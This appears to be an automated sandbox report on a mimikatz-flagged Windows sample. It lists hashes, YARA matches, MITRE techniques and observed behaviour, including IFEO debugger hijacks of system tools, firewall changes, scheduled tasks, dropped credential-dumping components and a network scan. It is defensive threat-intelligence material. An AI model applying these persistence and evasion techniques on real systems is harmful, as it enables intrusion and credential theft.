mimikatz | aa1c96957127fe111ab4453e1a6d1dfd6c98299f176123b05a6dd0a777b4594a

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20-04-2024 08:36

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General

Target

2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
Size

7.1MB
MD5

b794331c620328893be7a741da60dda6
SHA1

0f840b90f3bd94d178ddc3db5c15829e3d57f63c
SHA256

aa1c96957127fe111ab4453e1a6d1dfd6c98299f176123b05a6dd0a777b4594a
SHA512

090d8cf23b51f7bde604575d12cb46eac2101d301047b2b8e9d3df0c89378c23a94d96f34e0740a20c737377f49fa9ee26bfaee421a2cf001ee6c8acdd50e6c0
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz discovery evasion persistence upx

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

hbuauda.exe

description pid process target process

PID 2636 created 1040 2636 hbuauda.exe spoolsv.exe
Contacts a large (26220) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

description	pid	process	target process
PID 2636 created 1040	2636	hbuauda.exe	spoolsv.exe

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2852-135-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral1/memory/2852-136-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore
behavioral1/memory/2636-146-0x0000000002F60000-0x0000000003080000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

UPX dump on OEP (original entry point) 16 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1644-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
\Windows\tkeblhan\hbuauda.exe	UPX
behavioral1/memory/2496-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
behavioral1/memory/2852-135-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	UPX
C:\Windows\ybbsclezq\Corporate\vfshost.exe	UPX
behavioral1/memory/2852-136-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	UPX
\Windows\Temp\ybbsclezq\rdglllqba.exe	UPX
behavioral1/memory/348-142-0x000000013F3B0000-0x000000013F40B000-memory.dmp	UPX
C:\Windows\Temp\abyrlhezn\yzhesb.exe	UPX
behavioral1/memory/836-147-0x000000013F3B0000-0x000000013F4D0000-memory.dmp	UPX
behavioral1/memory/2636-146-0x0000000002F60000-0x0000000003080000-memory.dmp	UPX
behavioral1/memory/348-163-0x000000013F3B0000-0x000000013F40B000-memory.dmp	UPX
behavioral1/memory/1692-176-0x000000013F220000-0x000000013F27B000-memory.dmp	UPX
behavioral1/memory/1276-182-0x000000013F1A0000-0x000000013F1FB000-memory.dmp	UPX
behavioral1/memory/1520-188-0x000000013F100000-0x000000013F15B000-memory.dmp	UPX
behavioral1/memory/1924-194-0x000000013F2A0000-0x000000013F2FB000-memory.dmp	UPX

mimikatz is an open source tool to dump credentials on Windows 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1644-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
\Windows\tkeblhan\hbuauda.exe	mimikatz
behavioral1/memory/2496-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/2852-135-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	mimikatz
behavioral1/memory/2852-136-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	mimikatz
behavioral1/memory/2636-146-0x0000000002F60000-0x0000000003080000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

Processes:

hbuauda.exewpcap.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	hbuauda.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	hbuauda.exe

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

1576 netsh.exe
1904 netsh.exe

pid	process
1576	netsh.exe
1904	netsh.exe

Sets file execution options in registry 2 TTPs 40 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

hbuauda.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	hbuauda.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	hbuauda.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	hbuauda.exe

Executes dropped EXE 16 IoCs

Processes:

hbuauda.exehbuauda.exewpcap.exezkyetylab.exevfshost.exerdglllqba.exeyzhesb.exexohudmc.exerdglllqba.exevifzsk.exerdglllqba.exerdglllqba.exerdglllqba.exehbuauda.exeyrbrnhula.exehbuauda.exe

pid	process
2496	hbuauda.exe
2636	hbuauda.exe
2620	wpcap.exe
568	zkyetylab.exe
2852	vfshost.exe
348	rdglllqba.exe
836	yzhesb.exe
2912	xohudmc.exe
1692	rdglllqba.exe
1660	vifzsk.exe
1276	rdglllqba.exe
1520	rdglllqba.exe
1924	rdglllqba.exe
2984	hbuauda.exe
2888	yrbrnhula.exe
296	hbuauda.exe

Loads dropped DLL 22 IoCs

Processes:

cmd.execmd.exewpcap.execmd.exezkyetylab.execmd.exehbuauda.execmd.exe

pid	process
1980	cmd.exe
1980	cmd.exe
2896	cmd.exe
2620	wpcap.exe
2620	wpcap.exe
2620	wpcap.exe
2620	wpcap.exe
2620	wpcap.exe
1296	cmd.exe
568	zkyetylab.exe
568	zkyetylab.exe
1460	cmd.exe
1460	cmd.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
2636	hbuauda.exe
1984	cmd.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2852-135-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	upx
C:\Windows\ybbsclezq\Corporate\vfshost.exe	upx
behavioral1/memory/2852-136-0x000000013F1E0000-0x000000013F2CE000-memory.dmp	upx
\Windows\Temp\ybbsclezq\rdglllqba.exe	upx
behavioral1/memory/348-142-0x000000013F3B0000-0x000000013F40B000-memory.dmp	upx
C:\Windows\Temp\abyrlhezn\yzhesb.exe	upx
behavioral1/memory/836-147-0x000000013F3B0000-0x000000013F4D0000-memory.dmp	upx
behavioral1/memory/2636-146-0x0000000002F60000-0x0000000003080000-memory.dmp	upx
behavioral1/memory/348-163-0x000000013F3B0000-0x000000013F40B000-memory.dmp	upx
behavioral1/memory/1692-176-0x000000013F220000-0x000000013F27B000-memory.dmp	upx
behavioral1/memory/1276-182-0x000000013F1A0000-0x000000013F1FB000-memory.dmp	upx
behavioral1/memory/1520-188-0x000000013F100000-0x000000013F15B000-memory.dmp	upx
behavioral1/memory/1924-194-0x000000013F2A0000-0x000000013F2FB000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

21 ifconfig.me
22 ifconfig.me
Creates a Windows Service
persistence

flow	ioc
21	ifconfig.me
22	ifconfig.me

Drops file in System32 directory 12 IoCs

Processes:

hbuauda.exewpcap.exexohudmc.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	hbuauda.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4	hbuauda.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	hbuauda.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\vifzsk.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\vifzsk.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	hbuauda.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4	hbuauda.exe

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

hbuauda.exe2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.execmd.exeyrbrnhula.exe

description	ioc	process
File created	C:\Windows\ybbsclezq\UnattendGC\specials\schoedcl.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\svschost.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\sdgebhger\ip.txt	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\coli-0.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\tucl-1.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\Corporate\vfshost.exe	hbuauda.exe
File opened for modification	C:\Windows\tkeblhan\vimpcsvc.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\Shellcode.ini	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\vimpcsvc.xml	hbuauda.exe
File opened for modification	C:\Windows\tkeblhan\svschost.xml	hbuauda.exe
File created	C:\Windows\ime\hbuauda.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\svschost.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\docmicfg.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\AppCapture64.dll	hbuauda.exe
File opened for modification	C:\Windows\ybbsclezq\sdgebhger\Packet.dll	hbuauda.exe
File opened for modification	C:\Windows\tkeblhan\spoolsrv.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\trfo-2.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\vimpcsvc.exe	hbuauda.exe
File created	C:\Windows\tkeblhan\docmicfg.xml	hbuauda.exe
File opened for modification	C:\Windows\tkeblhan\schoedcl.xml	hbuauda.exe
File opened for modification	C:\Windows\tkeblhan\hbuauda.exe	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ybbsclezq\sdgebhger\Packet.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\sdgebhger\scan.bat	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\docmicfg.xml	hbuauda.exe
File created	C:\Windows\tkeblhan\vimpcsvc.xml	hbuauda.exe
File opened for modification	C:\Windows\tkeblhan\docmicfg.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\exma-1.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\spoolsrv.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\tibe-2.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\Corporate\mimidrv.sys	hbuauda.exe
File created	C:\Windows\tkeblhan\hbuauda.exe	2024-04-20_b794331c620328893be7a741da60dda6_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\crli-0.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\upbdrjv\swrpwe.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\schoedcl.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\AppCapture32.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\trch-1.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\spoolsrv.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\sdgebhger\wpcap.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\sdgebhger\yrbrnhula.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\ucl.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\spoolsrv.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\svschost.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\libeay32.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\ssleay32.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\zlib1.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\docmicfg.xml	hbuauda.exe
File created	C:\Windows\tkeblhan\svschost.xml	hbuauda.exe
File created	C:\Windows\tkeblhan\schoedcl.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\sdgebhger\wpcap.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\cnli-1.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\schoedcl.xml	hbuauda.exe
File created	C:\Windows\tkeblhan\spoolsrv.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\Corporate\mimilib.dll	hbuauda.exe
File opened for modification	C:\Windows\ybbsclezq\Corporate\log.txt	cmd.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\xdvl-0.dll	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\vimpcsvc.xml	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\posh-0.dll	hbuauda.exe
File opened for modification	C:\Windows\ybbsclezq\sdgebhger\Result.txt	yrbrnhula.exe
File created	C:\Windows\ybbsclezq\sdgebhger\zkyetylab.exe	hbuauda.exe
File created	C:\Windows\ybbsclezq\UnattendGC\specials\libxml2.dll	hbuauda.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1732 sc.exe
1296 sc.exe
1404 sc.exe
640 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1732	sc.exe
1296	sc.exe
1404	sc.exe
640	sc.exe

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
\Windows\tkeblhan\hbuauda.exe	nsis_installer_2
C:\Windows\ybbsclezq\sdgebhger\wpcap.exe	nsis_installer_1
C:\Windows\ybbsclezq\sdgebhger\wpcap.exe	nsis_installer_2

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

556 schtasks.exe
1664 schtasks.exe
2152 schtasks.exe

pid	process
556	schtasks.exe
1664	schtasks.exe
2152	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

hbuauda.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exerdglllqba.exerdglllqba.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	hbuauda.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E38402DF-3D1C-46FF-9F71-7B7F06D441B3}\WpadDecision = "0"	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-eb-7e-51-d1-c6\WpadDecisionTime = 005263e2fd92da01	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{E38402DF-3D1C-46FF-9F71-7B7F06D441B3}\WpadNetworkName = "Network 3"	hbuauda.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-eb-7e-51-d1-c6\WpadDecisionReason = "1"	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	hbuauda.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0117000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-eb-7e-51-d1-c6\WpadDetectedUrl	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	hbuauda.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	hbuauda.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
